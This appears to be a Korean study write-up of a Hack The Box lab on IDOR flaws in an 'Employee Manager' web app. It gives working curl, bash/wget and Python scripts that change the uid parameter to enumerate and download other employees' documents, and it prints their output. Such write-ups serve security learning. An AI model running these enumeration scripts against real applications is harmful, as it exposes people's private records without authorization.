본문 바로가기

Hack The Box CBBH

CBBH - Web Attacks[Mass IDOR Enumeration]

일부 IDOR 취약점은 쉽게 악용할 수 있지만, 어떤 경우에는 매우 어려울 수 있다. IDOR 취약점을 발견하면, 먼저 기본적인 기법으로 테스트해 추가적인 데이터가 노출될 가능성이 있는지 확인하는 것이 중요하다.

IDOR 공격을 수행하려면 웹 애플리케이션이 어떻게 작동하는지, 객체 값이 어떻게 계산하는지, 그리고 접근 제어 시스템이 어떻게 작동하는지를 파악해야 한다. 이러한 지식을 바탕으로 기본적인 방법으로 악용할 수 없는 취약점도 공격할 수 있다.

이번에는 기본적인 열거부터 대량 데이터 수집, 그리고 사용자 권한 상승 기법을 알아보려 한다.

✅ Enumeration → Mass Data Gathering → User Privilege Escalation

Insecure Parameters

기본적인 IDOR 취약점의 예제를 살펴보려 한다. 예제로 사용할 웹 애플리케이션은 직원 기록을 관리하는 Employee Manager 애플리케이션이다.

Documents 페이지로 이동하면, http://94.237.60.159:36819/documents.php 로 리다이렉트된다. 해당 Reqeust를 확인해보면 다음과 같다.

POSTuid=1 이 전송된 것을 확인할 수 있다. 해당 페이지에서는 현재 로그인된 사용자의 문서 목록을 확인할 수 있다. 해당 파일의 이름을 소스 코드에서 확인해보면

/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf

로 확인된다.

여기서 위 파일들은 특정 패턴이 존재한다.

File + uid + Month_Year

파일이 uid 기반으로 생성되는 것을 확인할 수 있다. 이런 유형의 IDOR 취약점은 Static File IDOR(정적 파일 IDOR)라고 한다. 그러나, 모든 문서가 Invoice , Report 로 시작한다고 확신할 수 없으므로, 보다 확실한 방법을 찾아야 한다.

현재 웹 페이지는 uid 값이 POST의 파라미터로 설정된다. 이 때, 웹 애플리케이션이 이 uid 값을 참조해 직원 문서를 가져온다면, 단순히 uid 값을 변경해 다른 직원의 문서를 조회할 수 있는 가능성이 있다.

따라서, uid 값을 2로 변경해 접근을 시도해본다.

DDDD@NNKNOWN ~ % curl <http://94.237.60.159:36819/documents.php> -X POST -d "uid=2"
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Employee Documents</title>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable = no">
  <link rel="stylesheet" href="./style.css">
</head>

<body>
  <header>
    <h1>Employee Documents</h1>
  </header>
  <ul id="compositions-list" class="pure-tree main-tree">
    <li>
      <input type="checkbox" id="trigger-views" checked="checked">
      <label for="trigger-views">Documents</label>
      <ul class="pure-tree">
        <li class='pure-tree_link'><a href='/documents/Invoice_2_08_2020.pdf' target='_blank'>Invoice</a></li><li class='pure-tree_link'><a href='/documents/Report_2_12_2020.pdf' target='_blank'>Report</a></li>      </ul>
    </li>
  </ul>

</body>

</html>%

curl 결과에서 볼 수 있듯, uid 가 2인 Documents에 접근이 가능했다. 아래의 2개의 파일이 존재하는 것을 확인할 수 있다.

/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf

이는 해당 웹 페이지가 IDOR 취약점에 위험한 것을 확인할 수 있다. 이는 문서를 조회하는 사용자의 권한을 검사하지 않고, 단순히 사용자가 보낸 uid 값에 따라 문서를 반환하기 때문이다.

이와 유사하게 uid_filter=1 과 같은 필터 파라미터가 있는 경우, 이를 다른 값으로 변경하거나 완전히 제거하면 모든 직원의 문서를 조회할 수도 있다.

Mass Enumeration

앞에서 uid 의 값을 변경해 다른 사용자의 문서를 조회할 수 있는 것을 확인했다. 하지만 현실적인 환경에서는 수백에서 수천 명의 직원 데이터가 존재할 수 있으므로, 수동으로 uid 를 변경하는 것은 비효율적이다. 이를 해결하기 위해 다음과 같은 자동화 기법을 사용한다.

document.php 의 페이지 소스 코드에서 링크 태그를 확인해보면 다음과 같다.

<li class='pure-tree_link'><a href='/documents/Invoice_1_09_2021.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_1_10_2021.pdf' target='_blank'>Report</a></li>

<li class='pure-tree_link'> 태그로 각 링크가 시작되므로 해당 태그로 시작되는 라인을 추출하면 된다.

해당 HTB 모듈에서는 grep을 통해 대상 링크를 추출하는 코드를 사용했다. HTB 모듈에서는 GET으로 링크가 전달된다고 했지만, 실습에서는 POST이므로 환경에 맞게 코드를 변경하려 한다.

DDDD@htb[/htb]$ curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\\/documents.*?.pdf"
------------------------
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

Python을 이용해 파일의 전체 코드를 추출하려 한다.

import requests
import re

pattern = r"/documents/[^\\"\\']+\\.*"
URL = '<http://94.237.60.159:36819/documents.php>'
file_list = []

for i in range(20):
    data = {"uid" : f"{i+1}"}
    res = requests.post(URL, data=data)
    match = re.findall(pattern, res.text)
    file_list.append(match)

for li in range(len(file_list)):
    print(file_list[li])

------------------------

DDDD@NNKNOWN ~ % python3 idor.py
['/documents/Invoice_1_09_2021.pdf', '/documents/Report_1_10_2021.pdf']
['/documents/Invoice_2_08_2020.pdf', '/documents/Report_2_12_2020.pdf']
['/documents/Invoice_3_06_2020.pdf', '/documents/Report_3_01_2020.pdf']
['/documents/Invoice_4_07_2021.pdf', '/documents/Report_4_11_2020.pdf']
['/documents/Invoice_5_06_2020.pdf', '/documents/Report_5_11_2021.pdf']
['/documents/Invoice_6_09_2019.pdf', '/documents/Report_6_09_2020.pdf']
['/documents/Invoice_7_11_2021.pdf', '/documents/Report_7_01_2020.pdf']
['/documents/Invoice_8_06_2020.pdf', '/documents/Report_8_12_2020.pdf']
['/documents/Invoice_9_04_2019.pdf', '/documents/Report_9_05_2020.pdf']
['/documents/Invoice_10_03_2020.pdf', '/documents/Report_10_05_2021.pdf']
['/documents/Invoice_11_03_2021.pdf', '/documents/Report_11_04_2021.pdf']
['/documents/Invoice_12_02_2020.pdf', '/documents/Report_12_04_2020.pdf']
['/documents/Invoice_13_06_2020.pdf', '/documents/Report_13_01_2020.pdf']
['/documents/Invoice_14_01_2021.pdf', '/documents/Report_14_01_2020.pdf']
['/documents/Invoice_15_11_2020.pdf', '/documents/Report_15_01_2020.pdf', '/documents/flag_DDDDD...SNIP....txt']
['/documents/Invoice_16_12_2021.pdf', '/documents/Report_16_01_2021.pdf']
['/documents/Invoice_17_11_2021.pdf', '/documents/Report_17_06_2021.pdf']
['/documents/Invoice_18_12_2020.pdf', '/documents/Report_18_01_2020.pdf']
['/documents/Invoice_19_06_2020.pdf', '/documents/Report_19_08_2020.pdf']
['/documents/Invoice_20_06_2020.pdf', '/documents/Report_20_01_2021.pdf']

해당 코드를 사용해 uid 20까지 Documents 파일을 접근할 수 있다.

이러한 스크립트 대신 Burp Intruder 또는 ZAP Fuzzer를 사용해 uid 값을 자동으로 변경하면서 문서를 다운로드 할 수 있다.